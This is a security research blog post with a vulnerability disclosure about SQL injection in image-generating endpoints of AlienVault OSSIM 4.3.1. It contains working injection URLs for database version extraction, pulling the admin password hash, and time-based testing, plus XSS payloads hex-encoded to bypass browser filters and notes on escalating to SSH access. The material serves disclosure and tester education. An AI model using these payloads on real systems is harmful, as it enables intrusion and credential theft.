Thursday, April 24, 2014 At 9:04AM
Howdy. Today we’ll be going through a SQL injection edge case that tends to be missed by automated scanning tools – SQL injection in web application image constructors. At times web applications have requirements for the creation of images based on some input data. Commonly this input is related to the dimensions of the output image, dynamic watermarking and branding or some other aesthetic requirement. Sometimes applications need to represent data sets in an image. A common example would be related to the use of libraries that create a chart based on some user supplied input or data from a database.
Automated scanning solutions tend to ignore any HTTP responses that contain an image related mime type. This is typically due to the inherent size of the responses and the preference HTTP libraries have for parsing text based data.
A combination of these factors makes it quite likely that any dynamically constructed images will not be suitably assessed during an security assessment. Experience has indicated that issues can be present in many forms; from vanilla “UNION” to more complex blind or error based SQL injection.
Error Based SQL Injection:
Dmitry Evteev of Positive Technologies Research Lab demonstrated practical approaches to exploiting error based SQL injection in his paper titled: “Methods of Quick Exploitation of Blind SQL Injection”. In essence this technique relies on casting expected data types to a format that will produce a specific error type and reveal the miscast data.
The following exploitation and response string demonstrate the issue:
Exploit string:
select convert(int,@@version);
Response:
Conversion failed when converting the nvarchar value ‘Microsoft SQL Server 2008 (SP1) - 10.0.2531.0 (X64) Mar 29 2009 10:11:52 Copyright (c) 1988-2008 Microsoft Corporation Standard Edition (64-bit) on Windows NT 6.0 (Build 6002: Service Pack 2) (VM)…’ to data type int.
So in the above example the subquery “@@version” is performed and then an attempt is made to cast the string response to an integer datatype which is unsupported and results in a disclosure of the subquery response.
Let’s examine an instance of error based SQL injection in the AlienVault Open Source Security Information Management (OSSIM). This is an issue I reported earlier, in 2013.
The complete exploit string looks like the following:
https://127.0.0.1/geoloc/graph_geoloc2.php?year=2007&user=dsdds’%20union%20all%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,(1)and(select+1+from(select+count(*),concat((select+@@version),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a);—%20-
What we are doing here is leveraging error based SQL injection in combination with “UNION” based SQL injection to extract the following MySQL database version string:
Duplicate entry ‘5.5.29-29.41’ for key ‘group_key’
This response data, if included as part of a HTTP response with an image based mime-type will more than likely be ignored by automated scanners or sql exploitation tools.
Dynamically constructed images are identifiable through the presence of parameters in the resource path. The example above contains parameters “year” and ”user”. Other common parameter names include “width”,”height”,”blur”,”path” etc
In short; if parameters are seen passed to image resource URLs they should be manually tested! More often than not you will get internal path disclosure sometimes you will get a lot more.
Exploiting SQL Errors To Perform Cross Site Scripting:
MySQL does not perform any output encoding on errors. This can be fairly useful if we want to inject client-side code in an application that is otherwise handling user supplied data in a sane way. A simple way would be to select an XSS payload as a string as per the following example:
UNION SELECT 0”<script>alert(‘GDS’)</script>,2 —
The response snippet will contain an unencoded, unescaped and unfiltered XSS payload.
If we want to evade browser based XSS mechanisms such as Google Chrome’s XSSAuditor we can use ASCII hex encoding support to decode our payload before returning it. The following example contains an ASCII hex encoded version of our payload:
UNION SELECT 0x30223c7363726970743e616c657274282747445327293c2f7363726970743e,2 —
Modern browsers perform reflected XSS checks by comparing segments of the URL to HTTP responses. By asking the target database to decode our payload we effectively bypass these checks, which is nifty.
If we want to needlessly complicate the matter (and show some flair) we can combine this XSS vector in combination with a SQL injection response to perform a JavaScript alert of the response data. An example of this attack in the identified AlientVault SQL injection vector is presented below:
https://127.0.0.1/RadarReport/radar-iso27001-A11AccessControl-pot.php?date_from=2’%20union%20all%20select+(1)and(select+1+from(select+count(*),concat((concat(0x3c7363726970743e616c6572742822,’database%20version:’,@@version,0x22293c2f7363726970743e)),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a),2—%20-&date_to=2
Response:
<script>alert(“5.5.29-29.41”)</script>
AlienVault 4.3.1 Unauthenticated SQL Injection Disclosure
The complete AlienVault disclosure is included below (please note that the vendor has addressed all issues in AlienVault 4.3.2):
AlienVault 4.3.1 Unauthenticated SQL Injection
Vulnerability Type: SQL Injection
Reporter: Sasha Zivojinovic
Company: Gotham Digital Science
Affected Software: AlienVault 4.3.1
Severity: Critical
Summary
A number of SQL injection vectors were identified within AlienVault (AV) 4.3.1 components. The “Geolocation Graph” and “Radar Access Control” AV components were found to accept HTTP request parameters that are concatenated without filtering or validation. These parameters are then passed as SQL queries which exposes the application to SQL Injection. This issue can be exploited by any unauthenticated users who have access to the AV web application. In addition the effective MySQL user was found to be “root” which allows attackers to leverage the identified issues into attacks against the AV host system.
Technical Details
The ‘date_from’ and ‘date_to’ parameters passed to the ‘graph_geoloc.php’ page, the ‘date_from’ and ‘date_to’ parameters passed to the ‘radar-iso27001-A11AccessControl-pot.php’ page and the “user” parameter passed to the “graph_geoloc2.php” page are vulnerable to SQL injection attacks. These parameters were found to evaluate any SQL statements passed to them via a HTTP GET request.
PHP functions “whereYM” and “getSourceLocalSSIYear” in source file “/var/www/geoloc/include/data_functions.inc” do not filter or validate user supplied input when constructing dynamic SQL queries. Attackers can inject arbitrary SQL statements that will be evaluated on the underlying MySQL server.
Due to time limitations it has not been possible to locate the causes of the other identified vectors.
Extending the attack:
An attacker can retrieve various AV credentials including the MySQL connection string by querying the “alienvault.config” database table or by querying the “/etc/ossim/idm/config.xml” file through MySQL file access methods such as “LOAD_FILE”. Almost all credentials used by AV are equivalent so retrieving the credentials for the nessus user will also reveal the credentials for the SQL server and other components. These credentials are stored in plain-text within the database. By querying the “alienvault.users” table the attacker can retrieve the unsalted MD5 password hashes for administrative users. These hashed credentials are equivalent to the SSH credentials for the same users. Once these credentials have been retrieved and cracked an attacker can bypass the restrictions present in the SQL injection vector and perform arbitrary system or SQL queries by connecting directly to the AV host via SSH and using the local MySQL client to connect to the MySQL server.
Cross Site Scripting (XSS):
In addition the presence of MySQL errors presents an opportunity for reflected XSS attacks as the MySQL server does not filter responses when returning errors to the application user.
Proof-of-Concept Exploit
https://127.0.0.1/geoloc/graph_geoloc.php?date_from=2013-07-01’%20union%20all%20select(SLEEP(10)),2—%20-&date_to=2013-07-30
The integer value passed as a parameter to the “SLEEP” function can be increased or decreased to validate this finding.
Error based evaluation can be used to return the MySQL version as per the following examples:
https://127.0.0.1/geoloc/graph_geoloc2.php?year=2007&user=dsdds’%20union%20all%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,(1)and(select+1+from(select+count(*),concat((select+@@version),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a);—%20- https://127.0.0.1/geoloc/graph_geoloc.php?date_from=2013-07-01’%20union%20all%20select+(1)and(select+1+from(select+count(*),concat((select+@@version),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a),2—%20-&date_to=2013-07-30 https://127.0.0.1/geoloc/graph_geoloc.php?date_from=2013-07-01&date_to=2013-07-30’%20union%20all%20select+(1)and(select+1+from(select+count(*),concat((select+@@version),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a),2—%20- https://127.0.0.1/RadarReport/radar-iso27001-A11AccessControl-pot.php?date_from=2&date_to=2’%20union%20all%20select+(1)and(select+1+from(select+count(*),concat((select+@@version),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a),2—%20- https://127.0.0.1/RadarReport/radar-iso27001-A11AccessControl-pot.php?date_from=2’%20union%20all%20select+(1)and(select+1+from(select+count(*),concat((select+@@version),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a),2—%20-&date_to=2 https://127.0.0.1/RadarReport/radar-iso27001-A11AccessControl-pot.php?date_from=2’%20union%20all%20select+(1)and(select+1+from(select+count(*),concat((concat(0x3c7363726970743e616c6572742822,’database%20version:’,@@version,0x22293c2f7363726970743e)),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a),2—%20-&date_to=2
Response:
Duplicate entry ‘5.5.29-29.41’ for key ‘group_key’
Pulling “admin” user password hashes:
https://127.0.0.1/RadarReport/radar-iso27001-A11AccessControl-pot.php?date_from=2’%20union%20all%20select+(1)and(select+1+from(select+count(*),concat((select pass from alienvault.users where login=’admin’),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a),2—%20-&date_to=2
Cross Site Scripting:
The following examples demonstrate the use of unfiltered MySQL errors as an XSS vector:
Vanilla XSS
https://127.0.0.1/geoloc/graph_geoloc.php?date_from=2013-07-01’%20union%20select%200”<script>alert(‘GDS’)</script>,2%20—%20-&date_to=2013-07-30
ASCII Encoded XSS Variant (useful in bypassing application layer filters)
https://127.0.0.1/geoloc/graph_geoloc.php?date_from=2013-07-01’%20union%20select%200x27223e3c7363726970743e616c6572742831293c2f7363726970743e,2%20—%20-&date_to=2013-07-30
Recommendation
AlienVault deployments should be upgraded to the latest stable version. The issues documented in this disclosure have been remediated in AlienVault 4.3.2.
Author: Sasha Zivojinovic
©Aon plc 2023